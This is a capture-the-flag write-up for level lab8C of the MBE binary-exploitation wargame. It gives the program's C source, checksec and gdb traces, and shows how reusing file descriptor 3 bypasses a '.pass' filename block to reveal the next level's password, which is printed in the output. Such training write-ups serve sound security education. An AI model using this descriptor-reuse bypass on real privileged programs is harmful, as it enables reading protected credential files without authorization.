For this lab, we are given a program and its corresponding source code:

/*
 * gcc -z relro -z now -fPIE -pie -fstack-protector-all -o lab8C lab8C.c
 */

#include<errno.h>
#include<fcntl.h>
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<sys/types.h>
#include<unistd.h>

struct fileComp {
        char fileContents1[255];
        char fileContents2[255];
        int cmp;
};

char* readfd(int fd)
{
        // Find length of file
        int size = lseek(fd, 0, SEEK_END);
        if(size >= 255)
        {
                printf("Your file is too big.\n");
                exit(EXIT_FAILURE);
        }
        // Reset fd to beginning of file  
        lseek(fd, 0, SEEK_SET);
        // Allocate space for the file and a null byte
        char* fileContents = malloc((size+1) & 0xff);
        if(!fileContents)
        {
                printf("Could not allocate space for file contents\n");
                exit(EXIT_FAILURE);
        }
        // Read the file contents into the buffer
        int numRead = read(fd, fileContents, size & 0xff);
        return fileContents;
}

int getfd(char* arg)
{
        if(arg[0] != '-' || arg[1] != 'f' || arg[3] != '=')
        {
                printf("Invalid formatting in argument \"%s\"\n", arg);
                return -1;
        }

        int fd;
        if(arg[2] == 'n')
        {
                // O_NOFOLLOW means that it won't follow symlinks. Sorry.
                fd = open(arg+4, O_NOFOLLOW | O_RDONLY);
                if(fd == -1)
                {
                        printf("File could not be opened\n");
                        return -1;
                }
        }
        else if(arg[2] == 'd')
        {
                errno = 0;
                fd = atoi(arg+4);
        }
        else
        {
                printf("Invalid formatting in argument \"%s\"\n", arg);
                return -1;
        }

        return fd;
}

struct fileComp* comparefds(int fd1, int fd2)
{
        struct fileComp* fc = malloc(sizeof(struct fileComp));
        if(!fc)
        {
                printf("Could not allocate space for file contents\n");
                exit(EXIT_FAILURE);
        }

        strcpy(fc->fileContents1, readfd(fd1));
        strcpy(fc->fileContents2, readfd(fd2));
        fc->cmp = strcmp(fc->fileContents1, fc->fileContents2);
        return fc;
}

char* securityCheck(char* arg, char* s)
{
        if(strstr(arg, ".pass"))
                return "<<<For security reasons, your filename has been blocked>>>";
        return s;
}

int main(int argc, char** argv)
{
        if(argc != 3)
        {
                printf("Hi. This program will do a lexicographical comparison of the \
contents of two files. It has the bonus functionality of being \
able to process either filenames or file descriptors.\n");
                printf("Usage: %s {-fn=<filename>|-fd=<file_descriptor>} {-fn=<filename>|-fd=<file_descriptor>}\n", argv[0]);
                return EXIT_FAILURE;
        }

        int fd1 = getfd(argv[1]);
        int fd2 = getfd(argv[2]);
        if(fd1 == -1 || fd2 == -1)
        {
                printf("Usage: %s {-fn=<filename>|-fd=<file_descriptor>} {-fn=<filename>|-fd=<file_descriptor>}\n", argv[0]);
                return EXIT_FAILURE;
        }
        if(fd1 == 0 || fd2 == 0)
        {
                printf("Invalid fd argument.\n");
                printf("(We're still fixing some bugs with using STDIN.)\n");
                printf("Usage: %s {-fn=<filename>|-fd=<file_descriptor>} {-fn=<filename>|-fd=<file_descriptor>}\n", argv[0]);
                return EXIT_FAILURE;
        }

        struct fileComp* fc = comparefds(fd1, fd2);

        printf(
                        "\"%s\" is lexicographically %s \"%s\"\n", 
                        securityCheck(argv[1], fc->fileContents1),
                        fc->cmp > 0 ? "after" : (fc->cmp < 0 ? "before" : "equivalent to"),
                        securityCheck(argv[2], fc->fileContents2));

        return EXIT_SUCCESS;
}

If we run checksec, we can see that stack canaries, NX, PIE and full RELRO are enabled.

gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : ENABLED
RELRO     : FULL

Vulnerability

This level is not really a pwnable. Look at what happens when we use the fn option to ask the program to open “/etc/passwd”.

gdb-peda$ r -fn=/etc/passwd -fd=3
Starting program: /home/rh0gue/Documents/MBE/lab08/8C/lab8C -fn=/etc/passwd -fd=3
[----------------------------------registers-----------------------------------]
EAX: 0xfff575b1 ("/etc/passwd")
EBX: 0xf772cf9c --> 0x2ea4 
ECX: 0xcd8846f6 
EDX: 0xfff56894 --> 0xf76dc000 --> 0x1a9da8 
ESI: 0x0 
EDI: 0x0 
EBP: 0xfff56818 --> 0xfff56868 --> 0x0 
ESP: 0xfff567f0 --> 0xfff575b1 ("/etc/passwd")
EIP: 0xf772ab9b (<getfd+132>:   call   0xf772a880 <open@plt>)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xf772ab8d <getfd+118>:      add    eax,0x4
   0xf772ab90 <getfd+121>:      mov    DWORD PTR [esp+0x4],0x20000
   0xf772ab98 <getfd+129>:      mov    DWORD PTR [esp],eax
=> 0xf772ab9b <getfd+132>:      call   0xf772a880 <open@plt>
   0xf772aba0 <getfd+137>:      mov    DWORD PTR [ebp-0x10],eax
   0xf772aba3 <getfd+140>:      cmp    DWORD PTR [ebp-0x10],0xffffffff
   0xf772aba7 <getfd+144>:      jne    0xf772ac05 <getfd+238>
   0xf772aba9 <getfd+146>:      lea    eax,[ebx-0x1f63]
Guessed arguments:
arg[0]: 0xfff575b1 ("/etc/passwd")
arg[1]: 0x20000 
[------------------------------------stack-------------------------------------]
0000| 0xfff567f0 --> 0xfff575b1 ("/etc/passwd")
0004| 0xfff567f4 --> 0x20000 
0008| 0xfff567f8 --> 0x0 
0012| 0xfff567fc --> 0xfff575ad ("-fn=/etc/passwd")
0016| 0xfff56800 --> 0xfff5683e --> 0x30000 
0020| 0xfff56804 --> 0xfff5683f --> 0x300 
0024| 0xfff56808 --> 0xc2 
0028| 0xfff5680c --> 0xf4324200 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 12, 0xf772ab9b in getfd ()
gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0x3 
EBX: 0xf772cf9c --> 0x2ea4 
ECX: 0x20000 
EDX: 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0xfff56818 --> 0xfff56868 --> 0x0 
ESP: 0xfff567f0 --> 0xfff575b1 ("/etc/passwd")
EIP: 0xf772aba0 (<getfd+137>:   mov    DWORD PTR [ebp-0x10],eax)
EFLAGS: 0x203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xf772ab90 <getfd+121>:      mov    DWORD PTR [esp+0x4],0x20000
   0xf772ab98 <getfd+129>:      mov    DWORD PTR [esp],eax
   0xf772ab9b <getfd+132>:      call   0xf772a880 <open@plt>
=> 0xf772aba0 <getfd+137>:      mov    DWORD PTR [ebp-0x10],eax
   0xf772aba3 <getfd+140>:      cmp    DWORD PTR [ebp-0x10],0xffffffff
   0xf772aba7 <getfd+144>:      jne    0xf772ac05 <getfd+238>
   0xf772aba9 <getfd+146>:      lea    eax,[ebx-0x1f63]
   0xf772abaf <getfd+152>:      mov    DWORD PTR [esp],eax
[------------------------------------stack-------------------------------------]
0000| 0xfff567f0 --> 0xfff575b1 ("/etc/passwd")
0004| 0xfff567f4 --> 0x20000 
0008| 0xfff567f8 --> 0x0 
0012| 0xfff567fc --> 0xfff575ad ("-fn=/etc/passwd")
0016| 0xfff56800 --> 0xfff5683e --> 0x30000 
0020| 0xfff56804 --> 0xfff5683f --> 0x300 
0024| 0xfff56808 --> 0xc2 
0028| 0xfff5680c --> 0xf4324200 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0xf772aba0 in getfd ()

Notice it succeeds and returns a file descriptor of 3.

Each file that is opened in a linux process is associated with a file descriptor.

We can leverage this in our second option when we specify that the contents of .pass be compared with the contents of the file associated with file descriptor 3, which will also be the contents of .pass!

This will bypass the check that is supposed to prevent the user from being able to print out the contents of any file with .pass in its name.

Solution

lab8C@warzone:/levels/lab08$ ./lab8C -fn=/home/lab8B/.pass -fd=3
"<<<For security reasons, your filename has been blocked>>>" is lexicographically equivalent to "3v3ryth1ng_Is_@_F1l3
"